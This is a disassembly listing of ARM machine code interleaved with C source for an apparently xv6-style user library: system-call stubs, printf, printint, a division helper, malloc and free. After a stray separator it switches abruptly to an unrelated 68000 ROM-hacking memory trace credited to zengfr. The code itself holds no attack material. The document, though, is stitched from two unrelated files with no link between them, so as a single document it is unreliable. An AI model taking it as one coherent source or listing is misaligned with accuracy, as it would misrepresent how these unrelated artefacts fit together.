eb4: e8bd0008 pop {r3}
eb8: e8bd4000 pop {lr}
ebc: e12fff1e bx lr
00000ec0 <kill>:
ec0: e92d4000 push {lr}
ec4: e92d0008 push {r3}
ec8: e92d0004 push {r2}
ecc: e92d0002 push {r1}
ed0: e92d0001 push {r0}
ed4: e3a00006 mov r0, #6
ed8: ef000040 svc 0x00000040
edc: e8bd0002 pop {r1}
ee0: e8bd0002 pop {r1}
ee4: e8bd0004 pop {r2}
ee8: e8bd0008 pop {r3}
eec: e8bd4000 pop {lr}
ef0: e12fff1e bx lr
00000ef4 <exec>:
ef4: e92d4000 push {lr}
ef8: e92d0008 push {r3}
efc: e92d0004 push {r2}
f00: e92d0002 push {r1}
f04: e92d0001 push {r0}
f08: e3a00007 mov r0, #7
f0c: ef000040 svc 0x00000040
f10: e8bd0002 pop {r1}
f14: e8bd0002 pop {r1}
f18: e8bd0004 pop {r2}
f1c: e8bd0008 pop {r3}
f20: e8bd4000 pop {lr}
f24: e12fff1e bx lr
00000f28 <open>:
f28: e92d4000 push {lr}
f2c: e92d0008 push {r3}
f30: e92d0004 push {r2}
f34: e92d0002 push {r1}
f38: e92d0001 push {r0}
f3c: e3a0000f mov r0, #15
f40: ef000040 svc 0x00000040
f44: e8bd0002 pop {r1}
f48: e8bd0002 pop {r1}
f4c: e8bd0004 pop {r2}
f50: e8bd0008 pop {r3}
f54: e8bd4000 pop {lr}
f58: e12fff1e bx lr
00000f5c <mknod>:
f5c: e92d4000 push {lr}
f60: e92d0008 push {r3}
f64: e92d0004 push {r2}
f68: e92d0002 push {r1}
f6c: e92d0001 push {r0}
f70: e3a00011 mov r0, #17
f74: ef000040 svc 0x00000040
f78: e8bd0002 pop {r1}
f7c: e8bd0002 pop {r1}
f80: e8bd0004 pop {r2}
f84: e8bd0008 pop {r3}
f88: e8bd4000 pop {lr}
f8c: e12fff1e bx lr
00000f90 <unlink>:
f90: e92d4000 push {lr}
f94: e92d0008 push {r3}
f98: e92d0004 push {r2}
f9c: e92d0002 push {r1}
fa0: e92d0001 push {r0}
fa4: e3a00012 mov r0, #18
fa8: ef000040 svc 0x00000040
fac: e8bd0002 pop {r1}
fb0: e8bd0002 pop {r1}
fb4: e8bd0004 pop {r2}
fb8: e8bd0008 pop {r3}
fbc: e8bd4000 pop {lr}
fc0: e12fff1e bx lr
00000fc4 <fstat>:
fc4: e92d4000 push {lr}
fc8: e92d0008 push {r3}
fcc: e92d0004 push {r2}
fd0: e92d0002 push {r1}
fd4: e92d0001 push {r0}
fd8: e3a00008 mov r0, #8
fdc: ef000040 svc 0x00000040
fe0: e8bd0002 pop {r1}
fe4: e8bd0002 pop {r1}
fe8: e8bd0004 pop {r2}
fec: e8bd0008 pop {r3}
ff0: e8bd4000 pop {lr}
ff4: e12fff1e bx lr
00000ff8 <link>:
ff8: e92d4000 push {lr}
ffc: e92d0008 push {r3}
1000: e92d0004 push {r2}
1004: e92d0002 push {r1}
1008: e92d0001 push {r0}
100c: e3a00013 mov r0, #19
1010: ef000040 svc 0x00000040
1014: e8bd0002 pop {r1}
1018: e8bd0002 pop {r1}
101c: e8bd0004 pop {r2}
1020: e8bd0008 pop {r3}
1024: e8bd4000 pop {lr}
1028: e12fff1e bx lr
0000102c <mkdir>:
102c: e92d4000 push {lr}
1030: e92d0008 push {r3}
1034: e92d0004 push {r2}
1038: e92d0002 push {r1}
103c: e92d0001 push {r0}
1040: e3a00014 mov r0, #20
1044: ef000040 svc 0x00000040
1048: e8bd0002 pop {r1}
104c: e8bd0002 pop {r1}
1050: e8bd0004 pop {r2}
1054: e8bd0008 pop {r3}
1058: e8bd4000 pop {lr}
105c: e12fff1e bx lr
00001060 <chdir>:
1060: e92d4000 push {lr}
1064: e92d0008 push {r3}
1068: e92d0004 push {r2}
106c: e92d0002 push {r1}
1070: e92d0001 push {r0}
1074: e3a00009 mov r0, #9
1078: ef000040 svc 0x00000040
107c: e8bd0002 pop {r1}
1080: e8bd0002 pop {r1}
1084: e8bd0004 pop {r2}
1088: e8bd0008 pop {r3}
108c: e8bd4000 pop {lr}
1090: e12fff1e bx lr
00001094 <dup>:
1094: e92d4000 push {lr}
1098: e92d0008 push {r3}
109c: e92d0004 push {r2}
10a0: e92d0002 push {r1}
10a4: e92d0001 push {r0}
10a8: e3a0000a mov r0, #10
10ac: ef000040 svc 0x00000040
10b0: e8bd0002 pop {r1}
10b4: e8bd0002 pop {r1}
10b8: e8bd0004 pop {r2}
10bc: e8bd0008 pop {r3}
10c0: e8bd4000 pop {lr}
10c4: e12fff1e bx lr
000010c8 <getpid>:
10c8: e92d4000 push {lr}
10cc: e92d0008 push {r3}
10d0: e92d0004 push {r2}
10d4: e92d0002 push {r1}
10d8: e92d0001 push {r0}
10dc: e3a0000b mov r0, #11
10e0: ef000040 svc 0x00000040
10e4: e8bd0002 pop {r1}
10e8: e8bd0002 pop {r1}
10ec: e8bd0004 pop {r2}
10f0: e8bd0008 pop {r3}
10f4: e8bd4000 pop {lr}
10f8: e12fff1e bx lr
000010fc <sbrk>:
10fc: e92d4000 push {lr}
1100: e92d0008 push {r3}
1104: e92d0004 push {r2}
1108: e92d0002 push {r1}
110c: e92d0001 push {r0}
1110: e3a0000c mov r0, #12
1114: ef000040 svc 0x00000040
1118: e8bd0002 pop {r1}
111c: e8bd0002 pop {r1}
1120: e8bd0004 pop {r2}
1124: e8bd0008 pop {r3}
1128: e8bd4000 pop {lr}
112c: e12fff1e bx lr
00001130 <sleep>:
1130: e92d4000 push {lr}
1134: e92d0008 push {r3}
1138: e92d0004 push {r2}
113c: e92d0002 push {r1}
1140: e92d0001 push {r0}
1144: e3a0000d mov r0, #13
1148: ef000040 svc 0x00000040
114c: e8bd0002 pop {r1}
1150: e8bd0002 pop {r1}
1154: e8bd0004 pop {r2}
1158: e8bd0008 pop {r3}
115c: e8bd4000 pop {lr}
1160: e12fff1e bx lr
00001164 <uptime>:
1164: e92d4000 push {lr}
1168: e92d0008 push {r3}
116c: e92d0004 push {r2}
1170: e92d0002 push {r1}
1174: e92d0001 push {r0}
1178: e3a0000e mov r0, #14
117c: ef000040 svc 0x00000040
1180: e8bd0002 pop {r1}
1184: e8bd0002 pop {r1}
1188: e8bd0004 pop {r2}
118c: e8bd0008 pop {r3}
1190: e8bd4000 pop {lr}
1194: e12fff1e bx lr
00001198 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
1198: e92d4800 push {fp, lr}
119c: e28db004 add fp, sp, #4
11a0: e24b3004 sub r3, fp, #4
11a4: e24dd008 sub sp, sp, #8
write(fd, &c, 1);
11a8: e3a02001 mov r2, #1
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
11ac: e5631001 strb r1, [r3, #-1]!
write(fd, &c, 1);
11b0: e1a01003 mov r1, r3
11b4: ebffff27 bl e58 <write>
}
11b8: e24bd004 sub sp, fp, #4
11bc: e8bd8800 pop {fp, pc}
000011c0 <printint>:
return q;
}
static void
printint(int fd, int xx, int base, int sgn)
{
11c0: e92d4ff0 push {r4, r5, r6, r7, r8, r9, sl, fp, lr}
11c4: e1a04000 mov r4, r0
char buf[16];
int i, neg;
uint x, y, b;
neg = 0;
if(sgn && xx < 0){
11c8: e1a00fa1 lsr r0, r1, #31
11cc: e3530000 cmp r3, #0
11d0: 03a03000 moveq r3, #0
11d4: 12003001 andne r3, r0, #1
return q;
}
static void
printint(int fd, int xx, int base, int sgn)
{
11d8: e28db020 add fp, sp, #32
char buf[16];
int i, neg;
uint x, y, b;
neg = 0;
if(sgn && xx < 0){
11dc: e3530000 cmp r3, #0
return q;
}
static void
printint(int fd, int xx, int base, int sgn)
{
11e0: e24dd014 sub sp, sp, #20
11e4: e59f909c ldr r9, [pc, #156] ; 1288 <printint+0xc8>
uint x, y, b;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
11e8: 12611000 rsbne r1, r1, #0
int i, neg;
uint x, y, b;
neg = 0;
if(sgn && xx < 0){
neg = 1;
11ec: 13a03001 movne r3, #1
} else {
x = xx;
}
b = base;
i = 0;
11f0: e3a0a000 mov sl, #0
11f4: e24b6034 sub r6, fp, #52 ; 0x34
for(i=31;i>=0;i--){
r = r << 1;
r = r | ((n >> i) & 1);
if(r >= d) {
r = r - d;
q = q | (1 << i);
11f8: e3a08001 mov r8, #1
write(fd, &c, 1);
}
u32 div(u32 n, u32 d) // long division
{
u32 q=0, r=0;
11fc: e3a07000 mov r7, #0
int i;
for(i=31;i>=0;i--){
1200: e3a0001f mov r0, #31
write(fd, &c, 1);
}
u32 div(u32 n, u32 d) // long division
{
u32 q=0, r=0;
1204: e1a0c007 mov ip, r7
int i;
for(i=31;i>=0;i--){
r = r << 1;
r = r | ((n >> i) & 1);
1208: e1a0e031 lsr lr, r1, r0
120c: e20ee001 and lr, lr, #1
1210: e18ec08c orr ip, lr, ip, lsl #1
if(r >= d) {
1214: e152000c cmp r2, ip
r = r - d;
q = q | (1 << i);
1218: 91877018 orrls r7, r7, r8, lsl r0
for(i=31;i>=0;i--){
r = r << 1;
r = r | ((n >> i) & 1);
if(r >= d) {
r = r - d;
121c: 9062c00c rsbls ip, r2, ip
u32 div(u32 n, u32 d) // long division
{
u32 q=0, r=0;
int i;
for(i=31;i>=0;i--){
1220: e2500001 subs r0, r0, #1
1224: 2afffff7 bcs 1208 <printint+0x48>
b = base;
i = 0;
do{
y = div(x, b);
buf[i++] = digits[x - y * b];
1228: e0000792 mul r0, r2, r7
}while((x = y) != 0);
122c: e3570000 cmp r7, #0
b = base;
i = 0;
do{
y = div(x, b);
buf[i++] = digits[x - y * b];
1230: e0601001 rsb r1, r0, r1
1234: e28a5001 add r5, sl, #1
1238: e7d91001 ldrb r1, [r9, r1]
123c: e7c6100a strb r1, [r6, sl]
}while((x = y) != 0);
1240: 11a01007 movne r1, r7
b = base;
i = 0;
do{
y = div(x, b);
buf[i++] = digits[x - y * b];
1244: 11a0a005 movne sl, r5
1248: 1affffeb bne 11fc <printint+0x3c>
}while((x = y) != 0);
if(neg)
124c: e3530000 cmp r3, #0
buf[i++] = '-';
1250: 124b2024 subne r2, fp, #36 ; 0x24
1254: 10823005 addne r3, r2, r5
1258: 128a5002 addne r5, sl, #2
while(--i >= 0)
125c: e2455001 sub r5, r5, #1
do{
y = div(x, b);
buf[i++] = digits[x - y * b];
}while((x = y) != 0);
if(neg)
buf[i++] = '-';
1260: 13a0202d movne r2, #45 ; 0x2d
1264: 15432010 strbne r2, [r3, #-16]
while(--i >= 0)
putc(fd, buf[i]);
1268: e7d61005 ldrb r1, [r6, r5]
126c: e1a00004 mov r0, r4
buf[i++] = digits[x - y * b];
}while((x = y) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
1270: e2455001 sub r5, r5, #1
putc(fd, buf[i]);
1274: ebffffc7 bl 1198 <putc>
buf[i++] = digits[x - y * b];
}while((x = y) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
1278: e3750001 cmn r5, #1
127c: 1afffff9 bne 1268 <printint+0xa8>
putc(fd, buf[i]);
}
1280: e24bd020 sub sp, fp, #32
1284: e8bd8ff0 pop {r4, r5, r6, r7, r8, r9, sl, fp, pc}
1288: 0000169c .word 0x0000169c
0000128c <div>:
write(fd, &c, 1);
}
u32 div(u32 n, u32 d) // long division
{
u32 q=0, r=0;
128c: e3a03000 mov r3, #0
{
write(fd, &c, 1);
}
u32 div(u32 n, u32 d) // long division
{
1290: e92d0830 push {r4, r5, fp}
1294: e1a02000 mov r2, r0
1298: e28db008 add fp, sp, #8
u32 q=0, r=0;
int i;
for(i=31;i>=0;i--){
129c: e3a0c01f mov ip, #31
write(fd, &c, 1);
}
u32 div(u32 n, u32 d) // long division
{
u32 q=0, r=0;
12a0: e1a00003 mov r0, r3
for(i=31;i>=0;i--){
r = r << 1;
r = r | ((n >> i) & 1);
if(r >= d) {
r = r - d;
q = q | (1 << i);
12a4: e3a05001 mov r5, #1
u32 q=0, r=0;
int i;
for(i=31;i>=0;i--){
r = r << 1;
r = r | ((n >> i) & 1);
12a8: e1a04c32 lsr r4, r2, ip
12ac: e2044001 and r4, r4, #1
12b0: e1843083 orr r3, r4, r3, lsl #1
if(r >= d) {
12b4: e1530001 cmp r3, r1
r = r - d;
q = q | (1 << i);
12b8: 21800c15 orrcs r0, r0, r5, lsl ip
for(i=31;i>=0;i--){
r = r << 1;
r = r | ((n >> i) & 1);
if(r >= d) {
r = r - d;
12bc: 20613003 rsbcs r3, r1, r3
u32 div(u32 n, u32 d) // long division
{
u32 q=0, r=0;
int i;
for(i=31;i>=0;i--){
12c0: e25cc001 subs ip, ip, #1
12c4: 2afffff7 bcs 12a8 <div+0x1c>
r = r - d;
q = q | (1 << i);
}
}
return q;
}
12c8: e24bd008 sub sp, fp, #8
12cc: e8bd0830 pop {r4, r5, fp}
12d0: e12fff1e bx lr
000012d4 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
12d4: e92d000e push {r1, r2, r3}
12d8: e92d4ff0 push {r4, r5, r6, r7, r8, r9, sl, fp, lr}
12dc: e28db020 add fp, sp, #32
12e0: e1a05000 mov r5, r0
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
12e4: e59b4004 ldr r4, [fp, #4]
12e8: e5d48000 ldrb r8, [r4]
12ec: e3580000 cmp r8, #0
12f0: 0a000027 beq 1394 <printf+0xc0>
ap++;
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
12f4: e59f712c ldr r7, [pc, #300] ; 1428 <printf+0x154>
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
12f8: e28b6008 add r6, fp, #8
{
char *s;
int c, i, state;
uint *ap;
state = 0;
12fc: e3a0a000 mov sl, #0
1300: ea000008 b 1328 <printf+0x54>
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
1304: e3580025 cmp r8, #37 ; 0x25
state = '%';
1308: 01a0a008 moveq sl, r8
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
130c: 0a000002 beq 131c <printf+0x48>
state = '%';
} else {
putc(fd, c);
1310: e1a00005 mov r0, r5
1314: e1a01008 mov r1, r8
1318: ebffff9e bl 1198 <putc>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
131c: e5f48001 ldrb r8, [r4, #1]!
1320: e3580000 cmp r8, #0
1324: 0a00001a beq 1394 <printf+0xc0>
c = fmt[i] & 0xff;
if(state == 0){
1328: e35a0000 cmp sl, #0
132c: 0afffff4 beq 1304 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
1330: e35a0025 cmp sl, #37 ; 0x25
1334: 1afffff8 bne 131c <printf+0x48>
if(c == 'd'){
1338: e3580064 cmp r8, #100 ; 0x64
133c: 0a00002c beq 13f4 <printf+0x120>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
1340: e3580078 cmp r8, #120 ; 0x78
1344: 13580070 cmpne r8, #112 ; 0x70
1348: 13a09000 movne r9, #0
134c: 03a09001 moveq r9, #1
1350: 0a000013 beq 13a4 <printf+0xd0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
1354: e3580073 cmp r8, #115 ; 0x73
1358: 0a000018 beq 13c0 <printf+0xec>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
135c: e3580063 cmp r8, #99 ; 0x63
1360: 0a00002a beq 1410 <printf+0x13c>
putc(fd, *ap);
ap++;
} else if(c == '%'){
1364: e3580025 cmp r8, #37 ; 0x25
putc(fd, c);
1368: e1a0100a mov r1, sl
136c: e1a00005 mov r0, r5
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
ap++;
} else if(c == '%'){
1370: 0a000002 beq 1380 <printf+0xac>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
1374: ebffff87 bl 1198 <putc>
putc(fd, c);
1378: e1a00005 mov r0, r5
137c: e1a01008 mov r1, r8
1380: ebffff84 bl 1198 <putc>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
1384: e5f48001 ldrb r8, [r4, #1]!
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
1388: e1a0a009 mov sl, r9
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
138c: e3580000 cmp r8, #0
1390: 1affffe4 bne 1328 <printf+0x54>
putc(fd, c);
}
state = 0;
}
}
}
1394: e24bd020 sub sp, fp, #32
1398: e8bd4ff0 pop {r4, r5, r6, r7, r8, r9, sl, fp, lr}
139c: e28dd00c add sp, sp, #12
13a0: e12fff1e bx lr
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
13a4: e1a00005 mov r0, r5
13a8: e4961004 ldr r1, [r6], #4
13ac: e3a02010 mov r2, #16
13b0: e3a03000 mov r3, #0
13b4: ebffff81 bl 11c0 <printint>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
13b8: e3a0a000 mov sl, #0
13bc: eaffffd6 b 131c <printf+0x48>
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
s = (char*)*ap;
13c0: e4968004 ldr r8, [r6], #4
ap++;
if(s == 0)
s = "(null)";
13c4: e3580000 cmp r8, #0
13c8: 01a08007 moveq r8, r7
while(*s != 0){
13cc: e5d81000 ldrb r1, [r8]
13d0: e3510000 cmp r1, #0
13d4: 0a000004 beq 13ec <printf+0x118>
putc(fd, *s);
13d8: e1a00005 mov r0, r5
13dc: ebffff6d bl 1198 <putc>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
13e0: e5f81001 ldrb r1, [r8, #1]!
13e4: e3510000 cmp r1, #0
13e8: 1afffffa bne 13d8 <printf+0x104>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
13ec: e1a0a001 mov sl, r1
13f0: eaffffc9 b 131c <printf+0x48>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
13f4: e1a00005 mov r0, r5
13f8: e4961004 ldr r1, [r6], #4
13fc: e3a0200a mov r2, #10
1400: e3a03001 mov r3, #1
1404: ebffff6d bl 11c0 <printint>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
1408: e3a0a000 mov sl, #0
140c: eaffffc2 b 131c <printf+0x48>
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
1410: e4961004 ldr r1, [r6], #4
1414: e1a00005 mov r0, r5
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
1418: e1a0a009 mov sl, r9
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
141c: e6ef1071 uxtb r1, r1
1420: ebffff5c bl 1198 <putc>
1424: eaffffbc b 131c <printf+0x48>
1428: 000016b0 .word 0x000016b0
0000142c <free>:
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
142c: e59f3098 ldr r3, [pc, #152] ; 14cc <free+0xa0>
static Header base;
static Header *freep;
void
free(void *ap)
{
1430: e92d0830 push {r4, r5, fp}
Header *bp, *p;
bp = (Header*)ap - 1;
1434: e240c008 sub ip, r0, #8
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1438: e5932000 ldr r2, [r3]
static Header base;
static Header *freep;
void
free(void *ap)
{
143c: e28db008 add fp, sp, #8
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1440: e152000c cmp r2, ip
1444: e5921000 ldr r1, [r2]
1448: 2a000001 bcs 1454 <free+0x28>
144c: e15c0001 cmp ip, r1
1450: 3a000007 bcc 1474 <free+0x48>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
1454: e1520001 cmp r2, r1
1458: 3a000003 bcc 146c <free+0x40>
145c: e152000c cmp r2, ip
1460: 3a000003 bcc 1474 <free+0x48>
1464: e15c0001 cmp ip, r1
1468: 3a000001 bcc 1474 <free+0x48>
static Header base;
static Header *freep;
void
free(void *ap)
{
146c: e1a02001 mov r2, r1
1470: eafffff2 b 1440 <free+0x14>
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
1474: e5104004 ldr r4, [r0, #-4]
if(p + p->s.size == bp){
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
1478: e5832000 str r2, [r3]
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
147c: e08c5184 add r5, ip, r4, lsl #3
1480: e1550001 cmp r5, r1
bp->s.size += p->s.ptr->s.size;
1484: 05911004 ldreq r1, [r1, #4]
1488: 00814004 addeq r4, r1, r4
148c: 05004004 streq r4, [r0, #-4]
bp->s.ptr = p->s.ptr->s.ptr;
1490: 05921000 ldreq r1, [r2]
1494: 05911000 ldreq r1, [r1]
} else
bp->s.ptr = p->s.ptr;
1498: e5001008 str r1, [r0, #-8]
if(p + p->s.size == bp){
149c: e5921004 ldr r1, [r2, #4]
14a0: e0824181 add r4, r2, r1, lsl #3
14a4: e15c0004 cmp ip, r4
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
14a8: 1582c000 strne ip, [r2]
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
14ac: 0510c004 ldreq ip, [r0, #-4]
14b0: 008c1001 addeq r1, ip, r1
14b4: 05821004 streq r1, [r2, #4]
p->s.ptr = bp->s.ptr;
14b8: 05101008 ldreq r1, [r0, #-8]
14bc: 05821000 streq r1, [r2]
} else
p->s.ptr = bp;
freep = p;
}
14c0: e24bd008 sub sp, fp, #8
14c4: e8bd0830 pop {r4, r5, fp}
14c8: e12fff1e bx lr
14cc: 0000172c .word 0x0000172c
000014d0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
14d0: e92d49f8 push {r3, r4, r5, r6, r7, r8, fp, lr}
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
14d4: e2804007 add r4, r0, #7
if((prevp = freep) == 0){
14d8: e59f50d4 ldr r5, [pc, #212] ; 15b4 <malloc+0xe4>
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
14dc: e1a041a4 lsr r4, r4, #3
return freep;
}
void*
malloc(uint nbytes)
{
14e0: e28db01c add fp, sp, #28
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
14e4: e5953000 ldr r3, [r5]
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
14e8: e2844001 add r4, r4, #1
if((prevp = freep) == 0){
14ec: e3530000 cmp r3, #0
14f0: 0a00002b beq 15a4 <malloc+0xd4>
14f4: e5930000 ldr r0, [r3]
14f8: e5902004 ldr r2, [r0, #4]
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
14fc: e1520004 cmp r2, r4
1500: 2a00001b bcs 1574 <malloc+0xa4>
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < 4096)
1504: e59f80ac ldr r8, [pc, #172] ; 15b8 <malloc+0xe8>
p->s.size -= nunits;
p += p->s.size;
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
1508: e1a07184 lsl r7, r4, #3
150c: ea000003 b 1520 <malloc+0x50>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1510: e5930000 ldr r0, [r3]
if(p->s.size >= nunits){
1514: e5902004 ldr r2, [r0, #4]
1518: e1540002 cmp r4, r2
151c: 9a000014 bls 1574 <malloc+0xa4>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
1520: e5952000 ldr r2, [r5]
1524: e1a03000 mov r3, r0
1528: e1500002 cmp r0, r2
152c: 1afffff7 bne 1510 <malloc+0x40>
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < 4096)
1530: e1540008 cmp r4, r8
nu = 4096;
p = sbrk(nu * sizeof(Header));
1534: 81a00007 movhi r0, r7
1538: 93a00902 movls r0, #32768 ; 0x8000
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < 4096)
153c: 81a06004 movhi r6, r4
1540: 93a06a01 movls r6, #4096 ; 0x1000
nu = 4096;
p = sbrk(nu * sizeof(Header));
1544: ebfffeec bl 10fc <sbrk>
1548: e1a03000 mov r3, r0
if(p == (char*)-1)
154c: e3730001 cmn r3, #1
return 0;
hp = (Header*)p;
hp->s.size = nu;
free((void*)(hp + 1));
1550: e2800008 add r0, r0, #8
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
if(p == (char*)-1)
1554: 0a000010 beq 159c <malloc+0xcc>
return 0;
hp = (Header*)p;
hp->s.size = nu;
1558: e5836004 str r6, [r3, #4]
free((void*)(hp + 1));
155c: ebffffb2 bl 142c <free>
return freep;
1560: e5953000 ldr r3, [r5]
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
1564: e3530000 cmp r3, #0
1568: 1affffe8 bne 1510 <malloc+0x40>
return 0;
156c: e1a00003 mov r0, r3
}
}
1570: e8bd89f8 pop {r3, r4, r5, r6, r7, r8, fp, pc}
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
1574: e1540002 cmp r4, r2
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
1578: 10642002 rsbne r2, r4, r2
157c: 15802004 strne r2, [r0, #4]
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
1580: 05902000 ldreq r2, [r0]
else {
p->s.size -= nunits;
p += p->s.size;
1584: 10800182 addne r0, r0, r2, lsl #3
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
1588: 05832000 streq r2, [r3]
else {
p->s.size -= nunits;
p += p->s.size;
p->s.size = nunits;
158c: 15804004 strne r4, [r0, #4]
}
freep = prevp;
1590: e5853000 str r3, [r5]
return (void*)(p + 1);
1594: e2800008 add r0, r0, #8
1598: e8bd89f8 pop {r3, r4, r5, r6, r7, r8, fp, pc}
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
159c: e3a00000 mov r0, #0
15a0: e8bd89f8 pop {r3, r4, r5, r6, r7, r8, fp, pc}
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
15a4: e2850004 add r0, r5, #4
15a8: e5850000 str r0, [r5]
base.s.size = 0;
15ac: e9850009 stmib r5, {r0, r3}
15b0: eaffffd3 b 1504 <malloc+0x34>
15b4: 0000172c .word 0x0000172c
15b8: 00000fff .word 0x00000fff
|
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
0048F6 move.l D0, (A4)+
0048F8 move.l D0, (A4)+
004D38 move.l D0, (A4)+
004D3A move.l D0, (A4)+
024B1E move.b D0, ($22,A6)
024B22 bmi $24b30 [item+22]
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
